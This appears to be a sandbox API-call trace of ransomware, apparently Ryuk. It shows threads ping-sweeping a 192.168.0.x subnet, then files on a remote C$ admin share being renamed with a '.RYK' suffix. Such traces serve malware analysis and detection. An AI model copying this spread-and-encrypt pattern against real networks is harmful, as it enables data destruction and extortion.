	[0194.087] IcmpCreateFile () returned 0x599b50
	[0194.087] IcmpSendEcho (IcmpHandle=0x599b50, DestinationAddress=0xd300a8c0, RequestData=0x1995fd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1995fd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1403
	os_tid = 0x1b98

	[0194.088] GetLastError () returned 0x57
	[0194.089] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59e3f0
	[0194.089] SetLastError (dwErrCode=0x57) 
	[0194.089] IcmpCreateFile () returned 0x4ecf50
	[0194.089] IcmpSendEcho (IcmpHandle=0x4ecf50, DestinationAddress=0xd400a8c0, RequestData=0x9d1fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9d1fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1404
	os_tid = 0x1b9c

	[0194.091] GetLastError () returned 0x57
	[0194.091] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59e7c0
	[0194.091] SetLastError (dwErrCode=0x57) 
	[0194.091] IcmpCreateFile () returned 0x5a2450
	[0194.093] IcmpSendEcho (IcmpHandle=0x5a2450, DestinationAddress=0xd500a8c0, RequestData=0x197ffe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x197ffe20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1405
	os_tid = 0x1ba0

	[0194.097] GetLastError () returned 0x57
	[0194.097] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59eb90
	[0194.097] SetLastError (dwErrCode=0x57) 
	[0194.097] IcmpCreateFile () returned 0x5a24f0
	[0194.097] IcmpSendEcho (IcmpHandle=0x5a24f0, DestinationAddress=0xd600a8c0, RequestData=0x19a6fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19a6faa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1406
	os_tid = 0x1ba4

	[0194.099] GetLastError () returned 0x57
	[0194.099] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59ef60
	[0194.100] SetLastError (dwErrCode=0x57) 
	[0194.100] IcmpCreateFile () returned 0x5a2590
	[0194.100] IcmpSendEcho (IcmpHandle=0x5a2590, DestinationAddress=0xd700a8c0, RequestData=0x19c3fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19c3fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1407
	os_tid = 0x1ba8

	[0194.101] GetLastError () returned 0x57
	[0194.101] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59f330
	[0194.102] SetLastError (dwErrCode=0x57) 
	[0194.102] IcmpCreateFile () returned 0x5a2630
	[0194.102] IcmpSendEcho (IcmpHandle=0x5a2630, DestinationAddress=0xd800a8c0, RequestData=0x19dcfa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19dcfa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1408
	os_tid = 0x1bac

	[0194.104] GetLastError () returned 0x57
	[0194.105] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59f700
	[0194.105] SetLastError (dwErrCode=0x57) 
	[0194.105] IcmpCreateFile () returned 0x5a26d0
	[0194.105] IcmpSendEcho (IcmpHandle=0x5a26d0, DestinationAddress=0xd900a8c0, RequestData=0x19f1fde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x19f1fe00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1409
	os_tid = 0x1bb0

	[0194.107] GetLastError () returned 0x57
	[0194.107] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59fad0
	[0194.107] SetLastError (dwErrCode=0x57) 
	[0194.107] IcmpCreateFile () returned 0x5a2770
	[0194.107] IcmpSendEcho (IcmpHandle=0x5a2770, DestinationAddress=0xda00a8c0, RequestData=0x1a0af780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a0af7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1410
	os_tid = 0x1bb4

	[0194.109] GetLastError () returned 0x57
	[0194.109] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59fea0
	[0194.109] SetLastError (dwErrCode=0x57) 
	[0194.109] IcmpCreateFile () returned 0x5a2810
	[0194.110] IcmpSendEcho (IcmpHandle=0x5a2810, DestinationAddress=0xdb00a8c0, RequestData=0x1a1ffb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a1ffb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1411
	os_tid = 0x1bb8

	[0194.111] GetLastError () returned 0x57
	[0194.111] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5a0270
	[0194.112] SetLastError (dwErrCode=0x57) 
	[0194.112] IcmpCreateFile () returned 0x5a28b0
	[0194.112] IcmpSendEcho (IcmpHandle=0x5a28b0, DestinationAddress=0xdc00a8c0, RequestData=0x195cf860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x195cf880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1412
	os_tid = 0x1bbc

	[0194.114] GetLastError () returned 0x57
	[0194.114] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5a0640
	[0194.114] SetLastError (dwErrCode=0x57) 
	[0194.114] IcmpCreateFile () returned 0x5a2950
	[0194.114] IcmpSendEcho (IcmpHandle=0x5a2950, DestinationAddress=0xdd00a8c0, RequestData=0x1a35fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a35fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1413
	os_tid = 0x1bc0

	[0194.116] GetLastError () returned 0x57
	[0194.116] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5a0a10
	[0194.116] SetLastError (dwErrCode=0x57) 
	[0194.116] IcmpCreateFile () returned 0x5a29f0
	[0194.117] IcmpSendEcho (IcmpHandle=0x5a29f0, DestinationAddress=0xde00a8c0, RequestData=0x1a55f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a55f780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1414
	os_tid = 0x1bc4

	[0194.118] GetLastError () returned 0x57
	[0194.118] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5a0de0
	[0194.119] SetLastError (dwErrCode=0x57) 
	[0194.119] IcmpCreateFile () returned 0x5a2a90
	[0194.121] IcmpSendEcho (IcmpHandle=0x5a2a90, DestinationAddress=0xdf00a8c0, RequestData=0x1a45fe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a45fe20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1415
	os_tid = 0x1bc8

	[0194.122] GetLastError () returned 0x57
	[0194.122] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5a11b0
	[0194.123] SetLastError (dwErrCode=0x57) 
	[0194.123] IcmpCreateFile () returned 0x5a2b30
	[0194.123] IcmpSendEcho (IcmpHandle=0x5a2b30, DestinationAddress=0xe000a8c0, RequestData=0x1a7dfea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a7dfec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1416
	os_tid = 0x1bcc

	[0194.126] GetLastError () returned 0x57
	[0194.126] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5a1580
	[0194.126] SetLastError (dwErrCode=0x57) 
	[0194.126] IcmpCreateFile () returned 0x5a2bd0
	[0194.127] IcmpSendEcho (IcmpHandle=0x5a2bd0, DestinationAddress=0xe100a8c0, RequestData=0x1a92fa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a92fa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1417
	os_tid = 0x1bd0

	[0194.128] GetLastError () returned 0x57
	[0194.128] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5ac850
	[0194.130] SetLastError (dwErrCode=0x57) 
	[0194.130] IcmpCreateFile () returned 0x5a2c70
	[0194.130] IcmpSendEcho (IcmpHandle=0x5a2c70, DestinationAddress=0xe200a8c0, RequestData=0x1a67fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1a67fde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1418
	os_tid = 0x1bd4

	[0194.132] GetLastError () returned 0x57
	[0194.132] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5acc20
	[0194.133] SetLastError (dwErrCode=0x57) 
	[0194.133] IcmpCreateFile () returned 0x5a2d10
	[0194.133] IcmpSendEcho (IcmpHandle=0x5a2d10, DestinationAddress=0xe300a8c0, RequestData=0x1ab6f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ab6fa00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1419
	os_tid = 0x1bd8

	[0194.422] GetLastError () returned 0x57
	[0194.422] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5acff0
	[0194.423] SetLastError (dwErrCode=0x57) 
	[0194.423] IcmpCreateFile () returned 0x5a2db0
	[0194.423] IcmpSendEcho (IcmpHandle=0x5a2db0, DestinationAddress=0xe400a8c0, RequestData=0x1acdf860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1acdf880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1431
	os_tid = 0x6e8

	[0194.424] GetLastError () returned 0x57
	[0194.425] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5ad3c0
	[0194.425] SetLastError (dwErrCode=0x57) 
	[0194.425] IcmpCreateFile () returned 0x5a2e50
	[0194.425] IcmpSendEcho (IcmpHandle=0x5a2e50, DestinationAddress=0xe500a8c0, RequestData=0x1ae8f820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ae8f840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1432
	os_tid = 0x1690

	[0194.427] GetLastError () returned 0x57
	[0194.427] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5ad790
	[0194.428] SetLastError (dwErrCode=0x57) 
	[0194.428] IcmpCreateFile () returned 0x5a2ef0
	[0194.428] IcmpSendEcho (IcmpHandle=0x5a2ef0, DestinationAddress=0xe600a8c0, RequestData=0x1afbf940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1afbf960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1433
	os_tid = 0x358

	[0194.430] GetLastError () returned 0x57
	[0194.430] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5adb60
	[0194.430] SetLastError (dwErrCode=0x57) 
	[0194.430] IcmpCreateFile () returned 0x5a2f90
	[0194.430] IcmpSendEcho (IcmpHandle=0x5a2f90, DestinationAddress=0xe700a8c0, RequestData=0x1b1ef800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b1ef820, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1434
	os_tid = 0x1c04

	[0194.432] GetLastError () returned 0x57
	[0194.432] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5adf30
	[0194.432] SetLastError (dwErrCode=0x57) 
	[0194.433] IcmpCreateFile () returned 0x5a3030
	[0194.433] IcmpSendEcho (IcmpHandle=0x5a3030, DestinationAddress=0xe800a8c0, RequestData=0x1aa6f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1aa6f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1435
	os_tid = 0x1c08

	[0194.434] GetLastError () returned 0x57
	[0194.434] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5ae300
	[0194.435] SetLastError (dwErrCode=0x57) 
	[0194.435] IcmpCreateFile () returned 0x5a30d0
	[0194.435] IcmpSendEcho (IcmpHandle=0x5a30d0, DestinationAddress=0xe900a8c0, RequestData=0x1b3ef700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b3ef720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1436
	os_tid = 0x1c0c

	[0194.437] GetLastError () returned 0x57
	[0194.437] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5ae6d0
	[0194.437] SetLastError (dwErrCode=0x57) 
	[0194.437] IcmpCreateFile () returned 0x5a3170
	[0194.437] IcmpSendEcho (IcmpHandle=0x5a3170, DestinationAddress=0xea00a8c0, RequestData=0x1b65fc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b65fc60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1437
	os_tid = 0x1c10

	[0194.494] GetLastError () returned 0x57
	[0194.494] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5aeaa0
	[0194.495] SetLastError (dwErrCode=0x57) 
	[0194.495] IcmpCreateFile () returned 0x5a3210
	[0194.495] IcmpSendEcho (IcmpHandle=0x5a3210, DestinationAddress=0xeb00a8c0, RequestData=0x1b4ff720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b4ff740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1438
	os_tid = 0x1c14

	[0194.497] GetLastError () returned 0x57
	[0194.497] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5aee70
	[0194.497] SetLastError (dwErrCode=0x57) 
	[0194.497] IcmpCreateFile () returned 0x5a32b0
	[0194.497] IcmpSendEcho (IcmpHandle=0x5a32b0, DestinationAddress=0xec00a8c0, RequestData=0x1b0bf780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b0bf7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1439
	os_tid = 0x1c18

	[0194.499] GetLastError () returned 0x57
	[0194.499] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5af240
	[0194.500] SetLastError (dwErrCode=0x57) 
	[0194.500] IcmpCreateFile () returned 0x5a3350
	[0194.500] IcmpSendEcho (IcmpHandle=0x5a3350, DestinationAddress=0xed00a8c0, RequestData=0x1b86fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b86fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1440
	os_tid = 0x1c1c

	[0194.502] GetLastError () returned 0x57
	[0194.502] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5af610
	[0194.502] SetLastError (dwErrCode=0x57) 
	[0194.502] IcmpCreateFile () returned 0x5b0850
	[0194.505] IcmpSendEcho (IcmpHandle=0x5b0850, DestinationAddress=0xee00a8c0, RequestData=0x1b9ffca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b9ffcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1441
	os_tid = 0x1c20

	[0194.506] GetLastError () returned 0x57
	[0194.506] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5af9e0
	[0194.507] SetLastError (dwErrCode=0x57) 
	[0194.507] IcmpCreateFile () returned 0x5b08f0
	[0194.507] IcmpSendEcho (IcmpHandle=0x5b08f0, DestinationAddress=0xef00a8c0, RequestData=0x1b2efee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b2eff00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1442
	os_tid = 0x1c24

	[0194.509] GetLastError () returned 0x57
	[0194.509] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5afdb0
	[0194.509] SetLastError (dwErrCode=0x57) 
	[0194.509] IcmpCreateFile () returned 0x5b0990
	[0194.509] IcmpSendEcho (IcmpHandle=0x5b0990, DestinationAddress=0xf000a8c0, RequestData=0x1bc5fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bc5fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1443
	os_tid = 0x1c28

	[0194.511] GetLastError () returned 0x57
	[0194.511] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b0180
	[0194.512] SetLastError (dwErrCode=0x57) 
	[0194.512] IcmpCreateFile () returned 0x5b0a30
	[0194.512] IcmpSendEcho (IcmpHandle=0x5b0a30, DestinationAddress=0xf100a8c0, RequestData=0x1bb1f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bb1f920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1444
	os_tid = 0x1c2c

	[0194.513] GetLastError () returned 0x57
	[0194.514] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b1850
	[0194.516] SetLastError (dwErrCode=0x57) 
	[0194.516] IcmpCreateFile () returned 0x5b0ad0
	[0194.516] IcmpSendEcho (IcmpHandle=0x5b0ad0, DestinationAddress=0xf200a8c0, RequestData=0x1be5f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1be5f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1445
	os_tid = 0x1c30

	[0194.518] GetLastError () returned 0x57
	[0194.518] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b1c20
	[0194.518] SetLastError (dwErrCode=0x57) 
	[0194.518] IcmpCreateFile () returned 0x5b0b70
	[0194.518] IcmpSendEcho (IcmpHandle=0x5b0b70, DestinationAddress=0xf300a8c0, RequestData=0x1c0cfae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c0cfb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1446
	os_tid = 0x1c34

	[0195.059] GetLastError () returned 0x57
	[0195.059] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b1ff0
	[0195.060] SetLastError (dwErrCode=0x57) 
	[0195.060] IcmpCreateFile () returned 0x5b0c10
	[0195.060] IcmpSendEcho (IcmpHandle=0x5b0c10, DestinationAddress=0xf400a8c0, RequestData=0x1c2bf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c2bf940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1458
	os_tid = 0x1c78

	[0195.062] GetLastError () returned 0x57
	[0195.062] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b23c0
	[0195.062] SetLastError (dwErrCode=0x57) 
	[0195.063] IcmpCreateFile () returned 0x5b0cb0
	[0195.063] IcmpSendEcho (IcmpHandle=0x5b0cb0, DestinationAddress=0xf500a8c0, RequestData=0x1c3ef720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c3ef740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1459
	os_tid = 0x1c7c

	[0195.069] GetLastError () returned 0x57
	[0195.069] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b2790
	[0195.069] SetLastError (dwErrCode=0x57) 
	[0195.069] IcmpCreateFile () returned 0x5b0d50
	[0195.070] IcmpSendEcho (IcmpHandle=0x5b0d50, DestinationAddress=0xf600a8c0, RequestData=0x1c59fc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c59fc60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1460
	os_tid = 0x1c80

	[0195.071] GetLastError () returned 0x57
	[0195.071] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b2b60
	[0195.072] SetLastError (dwErrCode=0x57) 
	[0195.072] IcmpCreateFile () returned 0x5b0df0
	[0195.072] IcmpSendEcho (IcmpHandle=0x5b0df0, DestinationAddress=0xf700a8c0, RequestData=0x1c7af720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c7af740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1461
	os_tid = 0x1c84

	[0195.073] GetLastError () returned 0x57
	[0195.074] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b2f30
	[0195.074] SetLastError (dwErrCode=0x57) 
	[0195.074] IcmpCreateFile () returned 0x5b0e90
	[0195.074] IcmpSendEcho (IcmpHandle=0x5b0e90, DestinationAddress=0xf800a8c0, RequestData=0x1c8df820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c8df840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1462
	os_tid = 0x1c88

	[0195.076] GetLastError () returned 0x57
	[0195.076] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b3300
	[0195.076] SetLastError (dwErrCode=0x57) 
	[0195.076] IcmpCreateFile () returned 0x5b0f30
	[0195.077] IcmpSendEcho (IcmpHandle=0x5b0f30, DestinationAddress=0xf900a8c0, RequestData=0x1caef920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1caef940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1463
	os_tid = 0x1c8c

	[0195.078] GetLastError () returned 0x57
	[0195.078] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b36d0
	[0195.079] SetLastError (dwErrCode=0x57) 
	[0195.079] IcmpCreateFile () returned 0x5b0fd0
	[0195.079] IcmpSendEcho (IcmpHandle=0x5b0fd0, DestinationAddress=0xfa00a8c0, RequestData=0x1cc1fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1cc1fd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1464
	os_tid = 0x1c90

	[0195.081] GetLastError () returned 0x57
	[0195.081] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b3aa0
	[0195.081] SetLastError (dwErrCode=0x57) 
	[0195.081] IcmpCreateFile () returned 0x5b1070
	[0195.081] IcmpSendEcho (IcmpHandle=0x5b1070, DestinationAddress=0xfb00a8c0, RequestData=0x1c6af8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c6af8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1465
	os_tid = 0x1c94

	[0195.083] GetLastError () returned 0x57
	[0195.083] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b3e70
	[0195.084] SetLastError (dwErrCode=0x57) 
	[0195.084] IcmpCreateFile () returned 0x5b1110
	[0195.084] IcmpSendEcho (IcmpHandle=0x5b1110, DestinationAddress=0xfc00a8c0, RequestData=0x1bf6f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bf6f920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1466
	os_tid = 0x1c98

	[0195.085] GetLastError () returned 0x57
	[0195.085] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b4240
	[0195.086] SetLastError (dwErrCode=0x57) 
	[0195.086] IcmpCreateFile () returned 0x5b11b0
	[0195.086] IcmpSendEcho (IcmpHandle=0x5b11b0, DestinationAddress=0xfd00a8c0, RequestData=0x1ce6fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ce6fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1467
	os_tid = 0x1c9c

	[0195.088] GetLastError () returned 0x57
	[0195.088] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5b4610
	[0195.088] SetLastError (dwErrCode=0x57) 
	[0195.088] IcmpCreateFile () returned 0x5b1250
	[0195.088] IcmpSendEcho (IcmpHandle=0x5b1250, DestinationAddress=0xfe00a8c0, RequestData=0x1c9ef720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c9ef740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3080
	os_tid = 0x3510


Thread:
	id = 3723
	os_tid = 0x3f08

	[0283.387] SetFileAttributesW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD", dwFileAttributes=0x80) returned 1
	[0284.675] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD" (normalized: "\\\\192.168.0.21\\c$\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Thread:
	id = 3724
	os_tid = 0x3f0c

	[0283.391] SetFileAttributesW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 1
	[0284.472] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG" (normalized: "\\\\192.168.0.21\\c$\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.795] MoveFileExW (lpExistingFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG" (normalized: "\\\\192.168.0.21\\c$\\boot\\bcd.log"), lpNewFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG.RYK" (normalized: "\\\\192.168.0.21\\c$\\boot\\bcd.log.ryk"), dwFlags=0x8) 

Thread:
	id = 3725
	os_tid = 0x3f10

	[0283.392] SetFileAttributesW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG1.RYK", dwFileAttributes=0x80) returned 1
	[0284.473] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG1.RYK" (normalized: "\\\\192.168.0.21\\c$\\boot\\bcd.log1.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Thread:
	id = 3726
	os_tid = 0x3f14

	[0283.393] SetFileAttributesW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG2.RYK", dwFileAttributes=0x80) returned 1
	[0284.473] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\BCD.LOG2.RYK" (normalized: "\\\\192.168.0.21\\c$\\boot\\bcd.log2.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 

Process:
	id = "3"
	image_name = "sawwhuyculan.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sawwhuyculan.exe"
	page_root = "0x32e0c000"
	os_pid = "0x804"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe\" 8 LAN"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 6
	os_tid = 0x814

	[0094.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12faf8 | out: lpSystemTimeAsFileTime=0x12faf8*(dwLowDateTime=0xbf1d6b0, dwHighDateTime=0x1d5cdef)) 
	[0094.329] GetCurrentThreadId () returned 0x814
	[0094.329] GetCurrentProcessId () returned 0x804
	[0094.329] QueryPerformanceCounter (in: lpPerformanceCount=0x12fb00 | out: lpPerformanceCount=0x12fb00*=23664197666) returned 1
	[0094.890] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0094.891] GetLastError () returned 0x57
	[0094.891] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef6760000
	[0094.896] GetProcAddress (hModule=0x7fef6760000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0094.897] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0094.897] GetLastError () returned 0x57
	[0094.897] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0094.898] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
